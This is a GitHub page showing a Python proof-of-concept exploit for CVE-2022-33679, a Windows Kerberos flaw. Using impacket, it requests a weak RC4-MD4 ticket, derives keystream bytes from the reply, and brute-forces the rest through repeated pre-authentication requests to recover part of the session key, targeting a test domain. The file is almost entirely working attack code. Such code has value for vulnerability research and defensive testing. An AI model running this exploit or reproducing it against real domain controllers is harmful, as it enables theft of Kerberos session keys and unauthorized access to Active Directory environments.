-
Notifications
You must be signed in to change notification settings - Fork 4
/
CVE-2022-33679.py
269 lines (212 loc) · 9.33 KB
/
CVE-2022-33679.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
import time
import datetime
import random
import socket
import struct
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue, Sequence
from pyasn1.type.useful import GeneralizedTime
from six import b
from binascii import unhexlify, hexlify
from impacket.krb5.asn1 import AS_REQ, AP_REQ, TGS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, PA_ENC_TS_ENC, AS_REP, TGS_REP, \
EncryptedData, Authenticator, EncASRepPart, EncTGSRepPart, seq_set, seq_set_iter, KERB_ERROR_DATA, METHOD_DATA, \
ETYPE_INFO2, ETYPE_INFO, AP_REP, EncAPRepPart, HostAddresses, HostAddress
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.krb5.gssapi import CheckSumField, GSS_C_DCE_STYLE, GSS_C_MUTUAL_FLAG, GSS_C_REPLAY_FLAG, \
GSS_C_SEQUENCE_FLAG, GSS_C_CONF_FLAG, GSS_C_INTEG_FLAG
from impacket.krb5 import constants
from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum
from impacket.smbconnection import SessionError
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID
from impacket.krb5.gssapi import KRB5_AP_REQ
from impacket import nt_errors, LOG
from impacket.krb5.ccache import CCache
# Our random number generator
try:
rand = random.SystemRandom()
except NotImplementedError:
rand = random
pass
def sendReceive(data, host, kdcHost):
if kdcHost is None:
targetHost = host
else:
targetHost = kdcHost
messageLen = struct.pack('!i', len(data))
LOG.debug('Trying to connect to KDC at %s' % targetHost)
try:
af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0]
s = socket.socket(af, socktype, proto)
s.connect(sa)
except socket.error as e:
raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e)
s.sendall(messageLen + data)
recvDataLen = struct.unpack('!i', s.recv(4))[0]
r = s.recv(recvDataLen)
while len(r) < recvDataLen:
r += s.recv(recvDataLen - len(r))
try:
krbError = KerberosError(packet=decoder.decode(r, asn1Spec=KRB_ERROR())[0])
except:
return r
if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
try:
for i in decoder.decode(r):
if type(i) == Sequence:
for k in vars(i)["_componentValues"]:
if type(k) == GeneralizedTime:
server_time = datetime.datetime.strptime(k.asOctets().decode("utf-8"), "%Y%m%d%H%M%SZ")
LOG.debug("Server time (UTC): %s" % server_time)
except:
# Couldn't get server time for some reason
pass
raise krbError
return r
class KerberosError(SessionError):
"""
This is the exception every client should catch regardless of the underlying
SMB version used. We'll take care of that. NETBIOS exceptions are NOT included,
since all SMB versions share the same NETBIOS instances.
"""
def __init__(self, error=0, packet=0):
SessionError.__init__(self)
self.error = error
self.packet = packet
if packet != 0:
self.error = self.packet['error-code']
def getErrorCode(self):
return self.error
def getErrorPacket(self):
return self.packet
def getErrorString(self):
return constants.ERROR_MESSAGES[self.error]
def __str__(self):
retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error])
try:
# Let's try to get the NT ERROR, if not, we quit and give the general one
if self.error == constants.ErrorCodes.KRB_ERR_GENERIC.value:
eData = decoder.decode(self.packet['e-data'], asn1Spec=KERB_ERROR_DATA())[0]
nt_error = struct.unpack('<L', eData['data-value'].asOctets()[:4])[0]
retString += '\nNT ERROR: %s(%s)' % (nt_errors.ERROR_MESSAGES[nt_error])
except:
pass
return retString
def tsGen(key_stream, zero_count):
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now) + '\x00' * zero_count
# Encrypt the shyte
encodedTimeStamp = encoder.encode(timeStamp)
encodedTimeStamp = b'\x00' * 0x18 + encodedTimeStamp
# 利用ks加密
encriptedTimeStamp = b''.join((i1 ^ i2).to_bytes(1, 'big') for i1, i2 in zip(encodedTimeStamp, key_stream))
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encryptedData = EncryptedData()
encryptedData['etype'] = -128
encryptedData['cipher'] = encriptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
return encodedEncryptedData
def getPATGT(user, domain, kdc=None):
asReq = AS_REQ()
domain = domain.upper()
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = True
encodedPacRequest = encoder.encode(pacRequest)
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
reqBody = seq_set(asReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
reqBody['realm'] = domain
now = datetime.datetime.utcnow()
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = rand.getrandbits(31)
reqBody['addresses'] = noValue
reqBody['addresses'][0]['addr-type'] = 20
reqBody['addresses'][0]['address'] = 'X' * 19
supportedCiphers = (-128,)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, kdc)
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
# print(asRep['enc-part']['etype'])
cipher = asRep['enc-part']['cipher']
dec_len = len(cipher) - 0x18
l1 = dec_len - 4
l2 = dec_len - 8
enc_session_key_5bytes = cipher[0x18 + 0x15: 0x18 + 0x15 + 5]
enc_session_key_5bytes_ks = []
# print(l1, l2)
key_stream = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x79, 0x82, 0xFF, 0xFF, 0x30, 0x82, 0xFF, 0xFF,
0xA0, 0x1B, 0x30, 0x19, 0xA0, 0x03, 0x02, 0x01,
0x80, 0xA1, 0x12, 0x04, 0x10]
# print(l1.to_bytes(2, 'big').split(''))
key_stream[26], key_stream[27] = l1.to_bytes(2, 'big')
key_stream[30], key_stream[31] = l2.to_bytes(2, 'big')
# 计算ks
for i in range(len(key_stream)):
key_stream[i] ^= cipher[i]
# ks
# print(key_stream)
# 利用AS_REQ验证ks
for n in range(1,6):
# print('ks_len: ', len(key_stream))
for i in range(256):
key_stream.append(i)
encodedTS = tsGen(key_stream, n)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value)
asReq['padata'][0]['padata-value'] = encodedTS
asReq['padata'][1] = noValue
asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(asReq)
try:
r = sendReceive(message, domain, kdc)
key_stream.append(i)
# break
enc_session_key_5bytes_ks.append(i)
print('[+] keystream byte found:', i)
break
except:
pass
finally:
key_stream.pop()
# asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
# print(key_stream)
session_key = b''.join([(i1^i2).to_bytes(1, 'big') for i1, i2 in zip(enc_session_key_5bytes, enc_session_key_5bytes_ks)]) + b'\xab'*11
print(f'[+] session_key is: {session_key.hex()}')
if __name__ == '__main__':
key_stream = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x79, 0x82, 0xFF, 0xFF, 0x30, 0x82, 0xFF, 0xFF,
0xA0, 0x1B, 0x30, 0x19, 0xA0, 0x03, 0x02, 0x01,
0x80, 0xA1, 0x12, 0x04, 0x10
]
t_start = time.time()
getPATGT('aaa', 'test16.local')
t_end = time.time()
print(f'[+] time costs {t_end - t_start}s')